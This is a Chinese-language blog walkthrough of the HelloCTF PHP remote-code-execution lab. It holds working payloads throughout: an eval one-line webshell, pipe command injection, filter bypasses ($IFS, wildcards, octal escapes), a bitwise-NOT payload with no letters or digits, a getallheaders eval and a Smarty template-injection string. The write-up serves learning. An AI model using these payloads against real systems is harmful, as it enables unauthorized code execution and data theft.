我的 Hello CTF-RCE 靶场通关全记录与避坑指南

刚接触 Web 安全时,看到满屏的 PHP 代码、各种奇形怪状的符号,整个人都是懵的。这次死磕了 HelloCTF 的 RCE 靶场,从最基础的 cat /flag,一路解到了“ 无回显 ”、“ 无参数 ”、“ 无字母数字取反 ”,甚至到了让我头皮发麻的“ Smarty 模板注入 ”。

这篇博客不仅记录了我的解题思路,更是我这几天的踩坑史。

第一章:核心心法(万能解题三板斧)

拿到任何一道 Web 题,千万别从第一行代码开始死读,会晕。直接 Ctrl+F 搜索以下三个关键点 ( 眼神好的可以不搜 ):

第一板斧:找入口(数据从哪进来?)

解释:找门缝。
你要攻击服务器,总得有个地方把你写的代码( Payload )就是你精心构造、发给服务器用来触发漏洞( 比如执行命令 )的那段恶意代码或数据。递进去。如果连门都没有,你武功再高也打不进去。
在 PHP 代码里,外部输入的 “ 门 ” 主要就是 GET 和 POST。

为什么 GET 要加 ? 而 POST 不加 ?

核心原因:数据的 “ 包装方式 ”不同。

1. GET( 明牌进门 ):数据直接贴在门面上

你可以把 ? 想象成快递单上的 “ 分割线 ”。

在 HTTP 协议里,URL 的本职工作是告诉服务器 “ 你要访问哪个页面 ” ( 比如 /index.php )。如果这时你还想顺便带点数据过去,就必须用 ? 作为分隔符,大声告诉服务器:“ 前面的 /index.php 是地址,后面的 name=admin&cmd=ls 是我要带的数据 。”

  • 为什么用 &? 因为带了多个参数(比如姓名和指令),就像串签子一样,用 & 把它们连起来。

2. POST( 暗牌进门 ):数据装在信封里

POST 请求的 URL,只负责指路( 比如就是干净的 /index.php )。
你要传的数据,不会跟在 URL 后面,而是被塞进了一个叫 “ 请求体( Request Body ) ” 的黑色信封里。服务器拿到这个信封(URL),知道里面有东西,它会自己拆开信封去拿数据,所以 URL 上根本不需要 ? 来做标记。

CTF 思路:做 Web 题看到

1
2
$_GET['参数名']
$_POST['参数名']

立刻明白:“ 这里就是我的突破口,它接收什么参数名,我就必须传什么参数名。”

第二板斧:找限制( 门卫查了什么?)

解释:看安检机。
你找到了门,但是门口站着保安(过滤代码),他不让你带着危险物品进去。在 PHP 里,最狠的保安就是 preg_match。

  • preg_match(正则过滤):黑名单查杀。比如 preg_match(“/system|eval/i”, $cmd),意思是只要你的传进去的数据里有 system 或者 eval 这个词,直接拉黑拦截。

什么是正则过滤?

1. 通俗解释:保安

“ 正则 ”( 正则表达式 )其实就是一种描述文字规则的公式。比如规定:“ 必须是 11 位纯数字 ”( 手机号 )、“ 必须以 .jpg 结尾 ”(图片)。
“ 正则过滤 ”就是服务器写在代码里的 “ 黑名单保安 ”。它拿着这个规则公式,去检查你发给服务器的每一句话( 你的 Payload )。只要发现里面有不符合规定,或者它觉得危险的词( 比如 system、eval、flag、单引号 ’ ),它就会直接把你拦住,不让你执行。

2. 在 PHP 代码里长什么样?( preg_match )

你在题目里看到的 preg_match,就是 PHP 里专门用来做正则匹配的函数。

比如,源码里如果写了这句:

1
2
3
if (preg_match("/system|exec|shell/i", $_GET['cmd'])) {
die("黑名单拦截!你想干嘛!");
}

这句话的意思是:如果你通过 GET 传进去的参数 cmd 里,包含了 system、exec、shell 这几个词(不区分大小写),服务器就会直接停止运行,并弹出“ 拦截 ”。

  • strlen(长度限制):规定你传的话不能超过多少个字符。
  • str_replace(替换过滤):发现你带了危险词,直接给你换成空字符串。

CTF 思路:知道保安在查什么,接下来就是“ 绕狗 ”(绕过安全狗)。保安查 system,你就用大小写 System、或者用拼接 sys.tem、或者换用它的兄弟函数 passthru 来代替。

第三板斧:找漏洞(杀招在哪?)

解释:找武器的扳机。
你成功把危险物品带进去了,但必须得有个人帮你 “ 按响扳机 ”,这个物品才能炸开。这就是危险函数,也就是 RCE( 远程代码执行 )的源头。

  • 代码执行:eval( ) 它会把接收到的字符串当成 PHP 代码执行。比如传 ?code=phpinfo();。
  • 命令执行:system( )、exec( )、shell_exec( )、反引号 ` 它们会让服务器的 Linux 操作系统去跑命令。比如传 ?cmd=cat /flag。
  • 文件包含:include( )、require( )。用来把你的文件或者远程恶意代码拉进来运行。

CTF 思路:这通常是题目要你用 Ctrl+F 找的终极目标。找到了 eval 或者 system,再配合第一板斧的入口和第二板斧的绕过,把参数传进去,Flag 就弹出来了!

代码执行 ( eval ) 和 命令执行 ( system ):

eval( ) :把字符串当 PHP 代码跑。比如 eval (“system( ‘ls’ );”)

system( ) :直接调用底层 Linux 命令。比如 system( “ls” ) ;

无回显 :服务器执行了命令,但结果被重定向到“ 垃圾桶 ”( /dev/null ),你在网页上看不到任何输出。

RCE 实战必备:Linux 命令宝典( 防忘我也记不住😇)

1. 基础探路(我是谁?我在哪?)

拿到命令执行权限后,先别急着找 Flag,先搞清楚自己在哪,是什么权限。

  • whoami :查看当前用户权限(如果是 www-data,说明权限较低;如果是 root,那恭喜你直接通关)。
  • pwd :查看当前所在目录。
  • ls -la :列出当前目录所有文件(包含隐藏文件)。
  • uname -a :查看系统内核版本(为提权做准备)。
  • ifconfig 或 ip addr :查看内网 IP,为后续内网渗透做准备。

2. 花式找 Flag(绕过文件读取限制)

很多时候,题目会过滤掉 cat,或者 Flag 藏得很深。

  • cat /flag :最基础的读取。
  • tac /flag :反向读取(从最后一行往上读,常用于绕过 cat 的黑名单)。
  • nl /flag :带行号读取。
  • head -n 100 /flag :读取前 100 行。
  • tail -n 100 /flag :读取后 100 行。
  • grep “flag{” -r / :全局搜索。直接在整个根目录下搜包含 flag{ 的文件。
  • find / -name “flag” :根据文件名找含有 flag 的文件。
  • sort /flag :按字典序排序读取,有时候也能绕过简单的正则。

3. 编码与特殊读取(应对无回显/乱码)

当你的命令执行了,但因为特殊字符没回显,或者被 WAF 拦截了,可以用这些:

  • base64 /flag :把文件内容转成 Base64 编码输出(安全且不会因为特殊字符报错)。
  • xxd /flag :把文件转成十六进制输出。
  • strings /flag :提取文件里的可打印字符(有时候 Flag 藏在二进制文件里)。
  • od -c /flag :以八进制格式输出文件内容。

4. 进阶绕过(当命令被拉黑时)

如果题目过滤了空格、或者过滤了 cat:

  • 绕过空格 :cat$IFS/flag 或 cat<flag
  • 绕过关键字 :c"“at /fl”"ag(双引号拼接)、c\at /flag(反斜杠转义)
  • 通配符绕过 :cat /fla? 或 cat /f*

第二章:实战(按关卡类型拆解)

1. 基础入门:一句话木马与文件上传

题目表现:源码里有 eval($_POST[‘a’]) ; 或者有一个上传按钮。

1
2
// 源码
eval($_POST['a']);
1
2
// Payload (传入 PHP 代码)
a=system('ls /');

原理与解释:eval 是个听话的打手,你告诉他去干什么( system ),他就干什么。@ 符号是消音器,屏蔽报错。

避坑:上传文件后缀必须是 .php,传 .txt 服务器只会把它当文章展示,不会执行。

2.命令注入与逻辑运算符

题目表现:利用 Linux 终端的分隔符强行拼接命令。

1
2
// 源码
system("ping -c 1 $ip");
1
2
// Payload (利用管道符截断前面命令的回显,只输出结果)
?ip=8.8.8.8 | cat /flag

在 Linux 里 | ; && || 都可以用来连接多条命令。

3. 与 WAF 的游戏(各种绕过)

当 WAF 出现,我们可以给 Payload “ 易容 ”。

过滤了关键字 flag:

  • 过滤了关键字 flag:
    1
    2
    3
    cat /fl?g      // 利用通配符
    cat /f* // 利用星号
    cat /fl''ag // 字符串拼接
  • 过滤了空格:
    1
    2
    cat$IFS/flag   // 利用环境变量
    cat%09/flag // 利用 Tab 键的 URL 编码
  • 过滤了斜杠 /:
    1
    $'\057'        // 利用 ASCII 码的八进制表示
  • 限制长度(如只允许 5 个字符):
    1
    cat /f*

4. 无回显突破

题目表现:出题人加了 >/dev/null 2>&1,把你的结果扔进(垃圾桶)。

1
2
3
4
5
6
7
8
// Payload 1:利用换行符强行撕开防线
?cmd=cat /flag%0a

// Payload 2:利用分号强行截断出题人的代码
?cmd=cat /flag;

// Payload 3:逻辑短路
?cmd=cat /flag || /dev/null

解释 :出题人拿胶带封了你的嘴,你加个换行符,相当于在胶带上扎了个洞,声音就漏出来了。

5. 无参与无字母数

  • 无参数 RCE :不能带任何引号和参数。
1
2
// 从请求头里偷数据
?code=eval(current(getallheaders()))%3B

( 注意:末尾必须带分号,而且在 URL 里必须写成 %3B,我已经被坑惨了 )

  • 无字母数字(取反魔术):所有字母和数字被禁。
    1
    2
    // 将 system('cat /flag') 彻底取反变成不可见字符
    code=$_=~"%8C%86%8C%8B%9A%92";$__=~"%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8";$_($__);
    解释:计算机里字母都有编号,前面加 ~ 就变成了乱码。门卫看不懂放行,PHP 进后台自动帮你反转回来。

6. Smarty 模板注入 ( SSTI )

题目表现:利用底层框架的链式调用来执行系统命令。这个非常恶心,往往需要用到 Python 脚本自动计算哈希值。

1
2
# 这是一个自动化生成并发送恶意路径的 Python 脚本片段
target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag*")}/../../pages/about'

第三章:我踩的坑( 踩坑实录 )

这部分是最精华的,因为我真的在这些地方卡了挺久。

1. 被出题人的“假文件”骗了

经历:用 scandir(‘/’) 扫到了 /flag,用 readfile 去读却报 No such file。
避坑:这说明文件可能是个假软链接、被锁了权限。果断去扫描别的目录( 比如 uploads ),或者直接读环境变量 getenv( )。

2. 取反漏了单引号,程序直接罢工

经历:把 cat /flag 取反了,结果报 Use of undefined constant。
避坑:PHP 里的字符串需要引号包裹!单引号 ’ 也必须取反(变成 %D8)。

3. HackBar 的 “ 好心办坏事 ”( 二次编码 )

经历:Payload 里有 %8C,被 WAF 拦了。因为 HackBar 自动把 % 再次编码成了 %258C,导致混入了数字 2 和 5,触发了拦截。
避坑:遇到特殊符号多的 Payload,果断换成 Burp Suite 或 Python。Burp 是老实人,你写啥它发啥。

4. 环境太脆,动不动就 404

经历:代码明明没错,屏幕却回显一堆落花的 JS 代码。
避坑指南:这说明靶场超时了,环境销毁了。去平台点重置环境。这不是你的错,是靶场太脆了。